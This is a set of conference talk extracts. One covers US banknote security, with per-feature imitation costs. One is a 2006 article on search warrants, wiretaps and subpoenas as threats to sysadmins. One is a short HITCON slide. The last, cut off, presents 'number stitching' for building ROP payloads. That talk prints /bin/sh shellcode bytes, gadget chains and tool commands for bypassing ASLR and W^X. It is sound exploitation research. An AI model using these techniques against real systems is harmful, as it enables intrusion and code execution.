Not So Super Notes How Well Does US Dollar Note Security Prevent Counterfeiting? Who? ● Member of Technical Staff for VMware ● Bachelors and Masters degree in Computer Science ● Software engineer for almost 10 years ● Love thinking about the limits of systems ● Amateur lock-picker ● Amateur beer brewer What? ● The security of US dollar notes ● How this security is implemented ● The effectiveness of this security Why? ● US dollar notes widely used ● The value of US dollar notes is dependent on its security (among other things) ● Counterfeiting can reduce the value of the dollar and potentially destabilize economies Scope ● In ● Only US dollar notes ● Out ● Coins ● Other aspects of counterfeiting Warning/Disclaimer ● Counterfeiting is a very serious crime, do not attempt under any circumstances ● Making counterfeit dollars is bad, passing it is worse ● It is on the short list of crimes defined directly in the US Constitution, along with piracy and treason US Dollar History ● Prior to 1996, US dollar design had been mostly unchanged since 1928 ● The threat from advances in cheap color scanning and printing equipment prompted redesign efforts in 1993 ● Design security was revisited in 2006, 2007 ● Contributions to anti-counterfeit research were made by experts from institutions including: The National Academies, National Research Council, National Materials Advisory Board, IBM Research, Drexel University, New York University, Sandia National Laboratory, Rockefeller University, Innovative Technology Associates, University of Colorado Boulder, Apple Computer, University of Rochester, AT&T Bell Laboratories, University of Arizona Tucson, GE Aviation, Michigan State University, Xerox Innovation Group, Alfred University, Carnegie Mellon University, NASA Glenn Research Center, University of Michigan, Georgia Institute of Technology, University of Illinois at Urbana-Champaign, Rubenstein Studios, France Telecom, Microsoft, OFS Laboratories, Boeing, Wayne State University, AFL-CIO, Massachusetts Institute of Technology, Hitachi Global Storage Technologies, Intellectual Assets Inc, Oshkosh Truck Corporation, University of Wisconsin Milwaukee, National Center for Manufacturing Sciences, Rochester Institute of Technology, Plexus Corporation, PPG Industries, Dow Corning Corporation, Rockwell Collins Inc, Ex One Corporation, Gartner Inc, Virginia Polytechnic University, Altarum Original Security ● Secure paper ● Intaglio printing ● Red and blue fibers Current Security ● Secure paper ● Intaglio printing ● Red and blue fibers ● Microprinting ● Multicolor background ● Watermark ● Optically Varying Ink (OVI) ● Security Strip ● Magnetic ink ● IR ink Who Makes US Money? ● Crane and Co in Dalton, MA ● Bureau of Engraving in Printing in Washington, DC and Fort Worth, TX Attack Analysis ● Most security features are independent ● Analysis of each feature is comprised of: ● Can it be reproduced? ● If not, can it be imitated? Feature Paper Watermark OVI Security Strip Printing Serial Number Magnetic Ink IR Ink Replication Imitation Cost Infeasible Infeasible Infeasible Feasible Feasible Feasible Feasible Feasible Feasible Feasible Feasible $0.02/Bill <$0.01/Bill <$0.01/Bill $2.50/Bill $0.04/Bill NA <$0.01/Bill $0.05/Bill Infeasible Successful Counterfeiters ● Authur Williams ● $10 Million Passed ● Albert Talton ● $7 Million Passed ● All supplies bought from Staples The Supernote ● First discovered in 1989 ● Unknown origin ● Replication of almost all dollar features ● Adapted to all design changes thusfar Information Sources ● Moneymakers by Klaus Bender ● The Art of Making Money by Jason Kersten ● Publications on counterfeit deterrents by The National Academies, initiated by the Bureau of Engraving and Printing ● Counterfeit Deterrent Features for the Next-Generation Currency Design, 1993 ● Is that Real? Identification and Assessment of the Counterfeiting Threat for U.S. Banknotes, 2006 ● A Path to the Next Generation of U.S. Banknotes: Keeping them Real, 2007 Questions?
pdf
;LOGIN: JUNE 2006 SCRIPT KIDDIES WITH BRIEFCASES 51 A L E X A N D E R M U E N T Z script kiddies with briefcases T H E L E G A L S Y S T E M A S T H R E AT Alexander Muentz is both a sysadmin (since 1999) and a lawyer (admitted to the bar in Pennsylvania and New Jersey). He’d love to be a hacker public defender but has to earn his living helping law firms do electronic discovery.When he’s not lawgeeking, he tries to spend time with his wife and his motorcy- cle. [email protected] Sysadmins have to know more than just their systems to do their jobs well. You have to understand people, finance, and your organization’s business to spend its money wisely and protect it from all sorts of threats. IT people tend to think of threats using an preparation/attack/response framework, even when the threats are not malicious. You can then compare risks and allocate resources rationally. If threats can affect your systems, your users, or their data, they should be on your mind, even if most of the responsibility rests on some- one else. So why not think about legal processes in the same way? Some resemble existing attacks (hav- ing your systems seized is like a DOS attack), whereas others are unique. I’ll discuss search war- rants, wiretaps, subpoenas, and discovery orders and their effects on users, systems, and data. Because this is a significantly deeper subject than can be explained in a small book, let alone a sin- gle article, I’ll just be glossing over important nuances to give you an overview of the issues. This article only discusses U.S. federal law, but many state laws resemble federal ones. This isn’t legal advice so much as it is the start of a conver- sation that you can finish with your IT staff or legal counsel. Let’s talk about a few threats. The Search Warrant: Noisy,Disruptive,and Potentially Destructive A search warrant execution to an IT defender is like an invasion and a DOS attack wrapped up together. Law enforcement officers (LEOs) enter the area with enough strength to control the area and to prevent evidence or people of interest from leaving. Intimidation is a second benefit to such overwhelming force—scared people often unknowingly waive their rights. A search warrant is a legal document issued by a neutral judicial officer such as a judge and speci- fies both the area to be searched and what is to be searched for and taken or seized [1]. There are some specifics about how the warrant is obtained, but I’ll not delve into that for two reasons: (1) they’re rather complex (even to lawyers); (2) you can’t stop or interfere with a search while it’s being executed. Your concern should be limited to two 52 ; L O G I N : VO L . 3 1 , N O. 3 potentially conflicting interests: preventing disruption to your organiza- tion, and not waiving your rights. It helps to focus on the three distinct phases of such a legal attack: I Pre-attack: Defenses include redundant systems in multiple places, good backups, and an attorney on retainer who is familiar with your operations. I During the attack: Either be quiet or helpful. Protect your rights. Don’t interfere. I Post-attack cleanup: Transfer over to untouched systems and restore from backups. Attack the warrant and file suit for damages and/or return of equipment or data. During the Search LEOs with a warrant to search and seize electronic evidence have some discretion about the execution. They can take copies of the evidence, media, or entire systems that they believe contain what they’re looking for [2]. Although letting them take forensic copies of your systems may be annoying, wholesale removal of several servers is far worse. There’s an obvious temptation to assist the LEOs so that they don’t feel the need to truck your entire server room back to their office. Generally, I’d recom- mend keeping the conversation to a minimum, both to stay safe and to prevent expansion of the scope of the search. LEOs can expand the search if you grant permission, which you may do during the course of the dis- cussion. You may also unintentionally admit knowledge of or control over evidence, which may make you “of interest” to the LEOs. That’s not a good thing. Ever. Imagine the following hypothetical situation: An LEO arrives with a war- rant to search system A1 for Alice’s email. Bob is the sysadmin for A1 and A2. The LEO, while debating on whether or not to put A1 on a hand truck, asks Bob if he can look at Alice’s files on A2 or Abe’s files on A1. If Bob doesn’t clearly say no, the LEO may start looking. Or, imagine that the LEO’s warrant includes A3, a system on which only Alice has a login. If Bob, attempting to be helpful, knows Alice’s password on A3 and gives it to the LEO, he’s now opened himself up to possessing whatever is on A3. I want to end this section with two final ideas of what to do during the search. First off, do not interfere with the search. Such behavior may subject you to several criminal charges, in addition to charges related to whatever the search was about. Second, have a witness or two available to watch. You may want an additional person who can say what happened during the search, in case your recollection disagrees with the LEO’s. After the Search If you have good backups or alternate sites, you can recover or cut over, minimizing your total outage. If the LEO took any systems, your lawyer can sue for their return [3] and also attempt to exclude the evidence from trial if there’s a flaw in the search warrant (evidence gained from a incor- rectly obtained or executed warrant can be suppressed prior to its admis- sion in court). ;LOGIN: JUNE 2006 SCRIPT KIDDIES WITH BRIEFCASES 53 Wiretaps IF YOU’RE THE TARGET The attack profile: Quiet and incriminating. I Pre-attack: Defenses include point–to–point encryption under your control. I During the attack: There’s no defense. If the wiretapping is done cor- rectly, you won’t know until it’s too late. I Post-attack cleanup: Suppress the evidence in court. Wiretaps aren’t just for phones any more. LEOs may intercept IP traffic with a valid wiretap warrant or with the permission of the intended recipi- ent [4]. I’m not going to discuss Foreign Intelligence Surveillance Act (FISA [5) wiretaps because I think that’s still a moving target. I hope it will be rare for readers to be the target of a regular LEO wiretap (also known as a Title III [6]), but I think it’s helpful to understand them. An LEO with a warrant can request that a wiretap be placed somewhere on a network where it can acquire all the traffic sent and received from the target, without the target’s knowledge. It is unlawful for the wiretap to acquire “innocent” traffic, and this responsibility falls to the provider of the network, not the LEO. Encryption can shield the communications as long as it takes to decrypt the traffic or acquire the key. If the service provider has the key, the service provider can be forced to divulge it with a court order. Although the key may be acquired with a search warrant or subpoena, at least the target is informed of the lack of privacy. IF YOU’RE THE PROVIDER OF THE SERVICE The attack profile: Confusion, stress, and expense. I Pre-attack: Defenses include the ability to carve out traffic to any host or user. I During the attack: Have network staff ready to assist the LEO. Providers of electronic communication services must accommodate valid wiretap warrants, allowing LEOs to remotely acquire targeted traffic while ignoring innocent traffic [7]. The provider must carve out any requested IP traffic or communications and forward them to law enforcement. If the provider encrypts the traffic, it must also decrypt it or make the keys avail- able as well. There’s some controversy about who is a “provider” under this legislation, as well as whether or not the wiretap can be remotely activated without the intervention or knowledge of the provider. But such contro- versy is the subject of another article. SUBPOENAS AND DISCOVERY The attack profile: Slow but invasive. I Pre-attack: Defenses include a data retention/destruction policy. You need to be able to search all of your storage for relevant documents. I During the attack: Work closely with legal representation. I Post-attack cleanup: Expect repeat requests and be ready to explain what you did. 54 ; L O G I N : VO L . 3 1 , N O. 3 Although there are some legal differences between subpoenas and discov- ery, the two are similar from an IT defender’s point of view. They’re both legal orders to provide information, and since more information is stored electronically, you’re going to be asked to help out if your organization is served with a subpoena or is a party to a lawsuit. Being able to retrieve information quickly and to honestly claim that you’ve searched all your files will make you golden. First off, a sensible data retention policy is important. Talk to your counsel about what you have to keep and for how long. Be willing to explain how backups work in layman’s terms. Once you have a retention policy that you can live with, follow it. If it says keep data for no longer than three years, make sure you’ve erased or destroyed older media. This dovetails into the second half of your pre-attack defenses. Knowing what you have prevents expensive mistakes. A short war story is worth recounting here: When I was a backup admin, I was helping an outside law firm in searching through our archives. After searching the backups that I knew about, I gave them all the documents matching the search terms the form provided. Imagine my surprise when someone found a crate of DLTs from before my time, but within the scope of the request. The outside counsel almost had a heart attack. Lucky for us, the tapes had been stored above a Nuclear Magnetic Resonance machine, and they were all blank. Discovering relevant information later makes you look dishonest, and hiding it would have made us dishonest. SUBPOENAS AND DISCOVERY: WHERE THEY DIFFER Subpoenas do the heavy lifting in legal investigations. Grand juries, regula- tory agencies, and courts can all issue them. The two basic types of sub- poenas are Duces Tecum (bring us stuff) and Ad Testificandum (come and testify under oath). You can also get one if your organization has informa- tion necessary to resolve a lawsuit between other people. Dealing with a subpoena is less disruptive than a search warrant—you usually have a few days to respond at the minimum. If the request is difficult to comply with, counsel may be able to narrow the scope to make it easier. (Don’t you wish you could do that with your other projects?) Unfortunately, not too much is protected from a subpoena other than trade secrets and some client- attorney communications (for example, Rule 45 of the Federal Rules of Civil Procedure protects trade secrets and communications normally under some privilege). As long as it isn’t abusive, overly burdensome, or not likely to lead to relevant evidence, it may have to be brought to the issuer. Discovery entails sharing of relevant information between parties. Simply put, if you are in a lawsuit, you have to give the other side any information (discovery) you have that may help your adversary’s case. You also have a duty to preserve any of that information when litigation becomes likely. So does your adversary. The only relevant information that you can withhold are some attorney-related files. Under the new Federal Rules of Civil Pro- cedure, litigants must either hand over discovery that is in electronic stor- age or divulge the nature and location of that discovery fairly soon after the lawsuit is filed [8]. ;LOGIN: JUNE 2006 SCRIPT KIDDIES WITH BRIEFCASES 55 WORKING CLOSELY WITH YOUR LEGAL COUNSEL When your organization has been served with a subpoena or discovery request, someone has to collect all the information that “responds” to the request. You’ll be collecting a lot of it, and counsel will be reviewing it to see whether it’s responsive. Your lawyers will be pulling long hours looking through each file you bring them. They’ll need help with viewing, sorting, and interpreting the mountain of data. This may require them to hire temp workers or to export the files to their outside law firm. Being helpful here will let your organization save money and effort. You may be called on to explain what you did in collecting the informa- tion, either to opposing counsel or at a grand jury or trial. If this is a dis- covery request, there are a few additional ways you can help. First, you can identify information that you hold that is very time-consuming or expen- sive to deliver, such as data on obsolete or failing media [9]. Counsel can go back to the court and exclude or reduce the amount of such discovery. Conclusion In closing, knowing what I just told you might allow you to be proactive when dealing with your organization’s legal department, instead of waiting for the lawyers to come and impose difficult rules upon you. Let them know that you want to coordinate defenses and protect your users and the organization as a whole. They may be pleasantly surprised. REFERENCES [1] U.S. Constitution, Amendment 4. [2] “Searching and Seizing Computers and Obtaining Electronic Evidence in Criminal Investigations,” CCIPS, Department of Justice (available at www.cybercrime.gov/s&smanual2002.htm). [3] Federal Rules of Criminal Procedure, 41(e). [4] 18 U.S.C. §§ 2518, 2511(2)(c). [5] FISA (50 U.S.C § 1801 et seq). [6] Title III of the 1968 Omnibus Crime Control Act. It’s been modified by subsequent legislation, including the Stored Communications Act (18 U.S.C. §§2701-2722), Electronic Communications Privacy Act (18 U.S.C. §§ 2501 et seq) and a few others you may have heard of. [7] CALEA, 108 Stat 4729. [8] See FRCP 26(a)(1)(B). [9] See FRCP 26(b)(2)(B).
pdf
About your JOB Ethen @ TDOH Security Consultant Defense / Forensic / Analysis Full-stack SOC Engineer Developer Free and Open [email protected] XXX “” “” • • • • Penetration Test SOC SOC Security Operation Center / / 2016/06/26 ... …… TDOH https://goo.gl/jaVUtO https://goo.gl/RqN9y1 http://tdohacker.org/ VSSecurity
 HITCON
pdf
Stitching numbers Alex Moneger Security Engineer 10th of August 2014 Generating ROP payloads from in memory numbers Cisco Con!dential 2 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Work for Cisco Systems !  Now a developer in the Cloud Web Security Business Unit (big cloud based security proxy) !  Used to be a networking security architect !  Helped design the next generation datacenters for CWS !  Interested mostly in bits and bytes !  CCIE #36086 Who am I? Cisco Con!dential 3 © 2013-2014 Cisco and/or its a"liates. All rights reserved. 1.  Brief ROP overview 2.  Automating ROP payload generation 3.  Number Stitching 1.  Goal 2.  Finding gadgets 3.  Coin change problem 4.  Pros, Cons, Tooling 5.  Future Work Agenda Cisco Con!dential 4 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Introduction Cisco Con!dential 5 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Generate payloads using numbers found in memory !  Solve the coin change problem to automatically generate ROP payloads !  If possible, use no gadgets from the target binary, only gadgets generated by libc stubs !  Automate the process TL;DR Cisco Con!dential 6 © 2013-2014 Cisco and/or its a"liates. All rights reserved. ROP overview Cisco Con!dential 7 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Re-use instructions from the vulnerable binary !  Control #ow using the stack pointer !  Multi-staged: 1.  Build the payload in memory using gadgets 2.  Transfer execution to generated payload !  Only way around today’s OS protections Principle Cisco Con!dential 8 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Useful instructions => gadgets !  Disassemble backwards from “ret” instruction !  Good tools available !  Number of gadgets to use is dependent upon target binary Finding instructions Cisco Con!dential 9 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Once payload is built in memory !  Transfer control by “pivoting” the stack !  Allows to redirect execution to a stack crafted by the attacker !  Useful gadgets: !  leave; ret !  mv esp, addr; ret !  add esp, value; ret Transfer control to payload Cisco Con!dential 10 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Automating payload generation Cisco Con!dential 11 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Find required bytes in memory !  Copy them to a controlled stack !  Use either: !  A mov gadget (1, 2 or 4 bytes) !  A copy function (strcpy, memcpy, …) (variable byte length) Classic approach Cisco Con!dential 12 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Availability of a mov gadget !  Can require some GOT dereferencing !  Availability of some bytes in memory !  May require some manual work to get the missing bytes Potential problems Cisco Con!dential 13 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Shellcode requires “sh” (\x73\x68) !  Got it! What about “h/” (\x68\x2f)? Finding bytes someone@something:~/somewhere$#sc="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”# someone@something:~/somewhere$#ROPgadget#abinary#Bopcode#"\x73\x68"# Gadgets#information# ============================================================# 0x08048321:#"\x73\x68”# someone@something:~/somewhere$#hexdump#BC#abinary.text|#grep#BBcolor#"73#68"# 00000320##75#73168#00#65#78#69#74##00#73#74#72#6e#63#6d#70##|ush.exit.strncmp|# someone@something:~/somewhere$#hexdump#BC#hbinary5Bmem.txt#|#grep#BBcolor#"68#2f"# someone@something:~/somewhere$## Cisco Con!dential 14 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Very small binaries do not seem to have many mov gadgets !  In the case of pop reg1; mov [ reg2 ], reg1: !  Limitation on the charset used !  Null byte can require manual work mov gadget Cisco Con!dential 15 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Number stitching Cisco Con!dential 16 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Is exploiting a “hello world” type vulnerability possible with: !  RELRO !  X^W !  ASLR !  Can the ROP payload be built only from libc introduced stubs? !  In other words, is it possible not to use any gadgets from the target binary code to build a payload? Initial problem Cisco Con!dential 17 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Program anatomy Cisco Con!dential 18 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  What other code surrounds the “hello world” code? !  Does libc add anything at link time? Libc static functions someone@something:~/somewhere$#pygmentize#abinary.c# #include#<stdio.h># # int#main(int#argc,#char#**argv,#char**#envp)#{# #printf("Hello#world!!\n");# }# someone@something:~/somewhere$#objdump#Bd#Bj#.text#BM#intel#abinary|#egrep#'<(.*)>:'# 08048510#<_start>:# 080489bd#<main>:# 080489f0#<__libc_csu_fini>:# 08048a00#<__libc_csu_init>:# 08048a5a#<__i686.get_pc_thunk.bx>:# Cisco Con!dential 19 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  At link time “libc.so” is used !  That’s a script which both dynamically and statically links libc: !  Looks libc_nonshared.a statically links some functions: Where does this come from? someone@something:~/somewhere$#cat#libc.so# /*#GNU#ld#script# ###Use#the#shared#library,#but#some#functions#are#only#in# ###the#static#library,#so#try#that#secondarily.##*/# OUTPUT_FORMAT(elf32Bi386)# GROUP#(#/lib/i386BlinuxBgnu/libc.so.6#/usr/lib/i386BlinuxBgnu/libc_nonshared.a##AS_NEEDED#(#/lib/i386B linuxBgnu/ldBlinux.so.2#)#)# Cisco Con!dential 20 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Quite a few functions are: What is statically linked? someone@something:~/somewhere$#objdump#Bd#Bj#.text#BM#intel##/usr/lib/i386BlinuxBgnu/libc_nonshared.a#|#egrep# '<*>:'# 00000000#<__libc_csu_fini>:# 00000010#<__libc_csu_init>:# 00000000#<atexit>:# 00000000#<at_quick_exit>:# 00000000#<__stat>:# 00000000#<__fstat>:# 00000000#<__lstat>:# 00000000#<stat64>:# 00000000#<fstat64>:# 00000000#<lstat64>:# 00000000#<fstatat>:# 00000000#<fstatat64>:# 00000000#<__mknod>:# 00000000#<mknodat>:# 00000000#<__warn_memset_zero_len>:# 00000000#<__stack_chk_fail_local>:# Cisco Con!dential 21 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Those functions are not always included !  Depend on compile options (-fstack-protector, -pg, …) !  I looked for gadgets in them. !  Fail… Gadgets in static functions Cisco Con!dential 22 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Is there anything else added which is constant: !  get_pc_thunk.bx() used for PIE, allows access to GOT !  _start() is the “real” entry point of the program !  There are also a few “anonymous” functions (no symbols) introduced by libc !  I didn’t look much further, but I think those functions relate to pro!ling !  Looking for gadgets in that, yields some results! !  Only works for libc 2.11 (and before?) Anything else added? Cisco Con!dential 23 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  What I get to work with: !  Control of ebx in an “anonymous” function: pop#ebx#;#pop#ebp#;;# !  Stack pivoting in “anonymous” function: leave#;; !  Write to mem in “anonymous” function: add#[ebx+0x5d5b04c4]#eax#;;# !  Write to mem in “anonymous” function: add#eax#[ebxB0xb8a0008]#;#add# esp#0x4#;#pop#ebx#;#pop#ebp#;; !  In short, attacker controls: !  ebx !  That’s it… !  Can anything be done to control the value in eax? Useful gadgets against libc 2.11.3 Cisco Con!dential 24 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Shellcode to numbers Cisco Con!dential 25 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Useful gadget: add#[ebx+0x5d5b04c4]#eax#;;# !  Ebx is under attacker control !  Gadget allows to add a value from a register to memory !  If attacker controls eax in someway, this is a write-anywhere Accumulating Cisco Con!dential 26 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Choose a spot in memory to build a stack: !  .data section is nice !  Choose a shellcode to write to the stack: !  As an example, use a setreuid shellcode !  Nothing unusual in all this Approach Cisco Con!dential 27 © 2013-2014 Cisco and/or its a"liates. All rights reserved. 1.  Next, cut the shellcode into 4 byte chunks 2.  Interpret each chunk as an integer 3.  Keep track of the index of each chunk position 4.  Order them from smallest to biggest 5.  Compute the di$erence between chunks 6.  There is now a set of monotonically increasing values representing the shellcode Chopping shellcode Cisco Con!dential 28 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Visual chopping \x04\x03\x02\x01 \x08\x07\x06\x05 \x0d\x0c\x0b\x0a 0x01020304 0x05060708 0x0a0b0c0d 1 3 2 1 2 3 0x01020304 0x04040404 0x05050505 3 2 1 0x05060708 – 0x01020304 2 0x0a0b0c0d – 0x05060708 1 Shellcode Chunks Deltas Monotonically increasing Cisco Con!dential 29 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Shellcode is represented as increasing deltas !  Add delta n with n+1 !  Dump that delta at stack index !  Repeat !  We’ve copied our shellcode to our stack Reverse process Cisco Con!dential 30 © 2013-2014 Cisco and/or its a"liates. All rights reserved. 1.  Find address of number 0x01020304 in memory 2.  Load that address into ebx 3.  Add mem to reg. Eax contains 0x01020304 4.  Add reg to mem. Fake stack contains “\x04\x03\x02\x01” 5.  Find address of number 0x04040404 in memory and load into ebx 6.  Add mem to reg. Eax contains 0x01020304 + 0x04040404 = 0x05060708 7.  Add reg to mem. Fake stack contains “\x08\x07\x06\x05\x04\x03\x02\x01” 8.  Repeat Example Cisco Con!dential 31 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  How easy is it to !nd the shellcode “numbers” in memory? !  Does memory contain numbers such as: !  0x01020304 !  "\x6a\x31\x58\x99” => 0x66a7ce96 (string to 2’s complement integer) !  If not, how can we build those numbers to get our shellcode? Problem Cisco Con!dential 32 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Stitching numbers Cisco Con!dential 33 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  It’s not easy to !nd “big” numbers in memory !  Shellcode chunks are big numbers !  Example: looking for 0x01020304: !  In short, not many large numbers in memory Answers someone@something:~/somewhere$#gdb#hw# gdbBpeda$#peda#searchmem#0x01020304#.text# Searching#for#'0x01020304'#in:#.text#ranges# Not#found# Cisco Con!dential 34 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Scan memory regions in ELF: !  RO segment (contains .text, .rodata, …) is a good candidate: !  Read only so should not change at runtime !  If not PIE, addresses are constant !  Keep track of all numbers found and their addresses !  Find the best combination of numbers which add up to a chunk Approach Cisco Con!dential 35 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  This is called the coin change problem !  If I buy an item at 4.25€ and pay with a 5€ note !  What’s the most e"cient way to return change? !  0.75€ change: !  1 50 cent coin !  1 20 cent coin !  1 5 cent coin Coin change problem Cisco Con!dential 36 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  In dollars, answer is di$erent !  0.75$: !  1 half-dollar coin !  1 quarter !  Best solution depends on the coin set !  Our set of coins are the numbers found in memory In hex you’re a millionaire Cisco Con!dential 37 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Ideal solution to the problem is using Dynamic Programming: !  Finds most e"cient solution !  Blows memory for big numbers !  I can’t scale it for big numbers yet !  Sub-optimal solution is the greedy approach: !  No memory footprint !  Can miss the solution !  Look for the biggest coin which !ts, then go down !  Luckily small numbers are easy to !nd in memory Solving the problem Cisco Con!dential 38 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  75 cents change example: !  Try 2 euros ✖ !  Try 1 euro ✖ !  Try 50 cents ✔# !  Try 20 cents ✔# !  Try 10 cents ✖ !  Try 5 cents ✔ !  Found solution: Greedy approach Cisco Con!dential 39 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Tool to !nd a solution to the coin change problem !  Give it a number, will get you the address of numbers which solve the coin change problem !  Can also: !  Ignore addresses with null-bytes !  Exclude numbers from the coin change solver !  Print all addresses pointing to a number !  … Introducing Ropnum Cisco Con!dential 40 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Find me: !  The address of numbers… !  In the segment containing the .text section !  Which added together solve the coin change problem (i.e.: 0x01020304) Usage someone@something:~/somewhere$#ropnum.py#Bn#0x01020304#BS#Bs#.text#hw#2>#/dev/null## Using#segments#instead#of#sections#to#perform#number#lookups.# Using#sections#[.text]#for#segment#lookup.# Found#loadable#segment#starting#at#[address#0x08048000,#offset#0x00000000]# Found#a#solution#using#5#operations:#[16860748,#47811,#392,#104,#5]# 0x08048002#=>#0x0101464c#16860748# 0x0804804c#=>#0x00000005########5# 0x080482f6#=>#0x00000068######104# 0x08048399#=>#0x0000bac3####47811# 0x08048500#=>#0x00000188######392# Cisco Con!dential 41 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Now you can use an accumulating gadget on the found addresses !  add#eax#[ebxB0xb8a0008]#;#add#esp#0x4#;#pop#ebx#;#pop# ebp#;;# !  By controlling the value addressed by ebx, you control eax Ropnum continued someone@something:~/somewhere$#ropnum.py#Bn#0x01020304#BS#Bs#.text#hw#2>#/dev/null# Found#a#solution#using#5#operations:#[16860748,#47811,#392,#104,#5]# 0x08048002#=>#0x0101464c#16860748# 0x0804804c#=>#0x00000005########5# 0x080482f6#=>#0x00000068######104# 0x08048399#=>#0x0000bac3####47811# 0x08048500#=>#0x00000188######392# someone@something:~/somewhere$#python#Bc#'print#hex(0x00000188+0x0000bac3+0x00000068+0x00000005+0x0101464c)'########### 0x1020304# Cisco Con!dential 42 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Putting it together Cisco Con!dential 43 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Cut and order 4 byte shellcode chunks !  Add numbers found in memory together until you reach a chunk !  Once a chunk is reached, dump it to a stack frame !  Repeat until shellcode is complete !  Transfer control to shellcode !  Git it at https://github.com/alexmgr/numstitch Summary Cisco Con!dential 44 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  What it does: !  Takes an input shellcode, and a frame address !  Takes care of the tedious details (endianess, 2’s complement, padding, … ) !  Spits out some python code to generate your payload !  Additional features: !  Add an mprotect RWE stub frame before your stack !  Start with an arbitrary accumulator register value !  Lookup numbers in section or segments Introducing Ropstitch Cisco Con!dential 45 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Generate a python payload: !  To copy a /bin/sh shellcode: !  To a fake frame frame located at 0x08049110 (.data section) !  Appending an mprotect frame (default behaviour) !  Looking up numbers in RO segment !  In binary abinary Example usage someone@something:~/somewhere$#ropstitch.py#Bx#"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd \x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"#Bf#0x08049110#BS#B s#.text#Bp#abinary#2>#/dev/null# Cisco Con!dential 46 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  The tool will spit out some python code, where you need to add your gadget addresses !  Then run that to get your payload !  Output is too verbose. See an example and further explanations on numstitch_details.txt (Defcon CD) or here: https://github.com/alexmgr/numstitch Example tool output Cisco Con!dential 47 © 2013-2014 Cisco and/or its a"liates. All rights reserved. GDB output gdbBpeda$#x/16w#0x804a11c# 0x804a11c: #0xb7f31e00 #0x00000000 #0x00000000 #0x00000000# 0x804a12c: #0x00000007 #0x00000000 #0x00000000 #0x00000000# 0x804a13c: #0x00000000 #0x00000000 #0x00000000 #0x00000000# 0x804a14c: #0x00000000 #0x00000000 #0x00000000 #0x00000000# gdbBpeda$###Writing#int#0x80.#Notice#that#the#numbers#are#added#in#increasing#order:# 0x804a11c: #0xb7f31e00 #0x00000000 #0x00000000 #0x00000000# 0x804a12c: #0x00000007 #0x00000000 #0x00000000 #0x00000000# 0x804a13c: #0x00000000 #0x00000000 #0x00000000 #0x00000000# 0x804a14c: #0x00000000 #0x00000080 #0x00000000 #0x00000000# gdbBpeda$###Writing#mprotect#page#size#(0x1000).#Notice#that#the#numbers#are#added#in#increasing#order:# 0x804a11c: #0xb7f31e00 #0x00000000 #0x00000000 #0x00001000# 0x804a12c: #0x00000007 #0x00000000 #0x00000000 #0x00000000# 0x804a13c: #0x00000000 #0x00000000 #0x00000000 #0x00000000# 0x804a14c: #0x00000000 #0x00000080 #0x00000000 #0x00000000# gdbBpeda$#c#10# gdbBpeda$###later#execution#(notice#the#missing#parts#of#shellcode,#which#will#be#filed#in#later,#once#eax#reaches#a#slice# value):# 0x804a11c: #0xb7f31e00 #0x0804a130 #0x0804a000 #0x00001000# 0x804a12c: #0x00000007 #0x00000000 #0x2d686652 #0x52e18970# 0x804a13c: #0x2f68686a #0x68736162 #0x6e69622f #0x5152e389# 0x804a14c: #0x00000000 #0x00000080 #0x00000000 #0x00000000# gdbBpeda$###end#result#(The#shellcode#is#complete#in#memory):# 0x804a11c: #0xb7f31e00 #0x0804a130 #0x0804a000 #0x00001000# 0x804a12c: #0x00000007 #0x99580b6a #0x2d686652 #0x52e18970# 0x804a13c: #0x2f68686a #0x68736162 #0x6e69622f #0x5152e389# 0x804a14c: #0xcde18953 #0x00000080 #0x00000000 #0x00000000# Cisco Con!dential 48 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Pros and cons Cisco Con!dential 49 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Pros: !  Can encode any shellcode (no null-byte problem) !  All numbers co-located in a particular address range. Depending on the segment chosen, can allow control of encoding in some way !  Lower 2 bytes can be controlled by excluding those values from the addresses !  Not a$ected by RELRO, ASLR or X^W !  Cons: !  Payloads can be large, depending on the availability of number !  Thus requires a big stage-0 